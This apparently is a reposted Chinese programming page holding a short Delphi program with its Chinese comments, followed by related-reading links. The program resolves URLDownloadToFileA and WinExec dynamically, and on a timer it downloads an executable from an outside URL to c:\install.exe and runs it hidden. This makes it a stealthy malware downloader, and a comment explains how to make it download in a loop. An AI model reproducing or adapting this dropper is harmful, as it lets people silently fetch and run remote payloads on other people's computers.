本文整理自网络,侵删。
program downs;
uses
Windows;
procedure TimerProc(hwnd:HWND;uMsg,idEvent:UINT;dwTime:DWORD); stdcall;
var
URLDown:function(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB:pointer): LongWord; stdcall;
WinExecA:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
begin
@UrlDown:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
@WinExecA:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
//下载地址 //下载后存放的路径
if UrlDown(nil, 'http://www.xfocusx.com/calcs.exe', 'c:\install.exe', 0, nil)=0 then //下载... =0 完成后运行
WinExecA('c:\install.exe', 0); //运行
Halt; //下完后退出程序,去掉就是循环地下,可以设时间长一点
Exit;
end;
var
Msg: TMsg;
begin
SetTimer(0, 10, 1000, @TimerProc);//安装定时器
while (GetMessage(msg, 0, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
end.
相关阅读 >>
Delphi urldownloadtofile 支持进度条
Delphi xe datasnap服务器获取客户端ip地址
更多相关阅读请进入《Delphi》频道 >>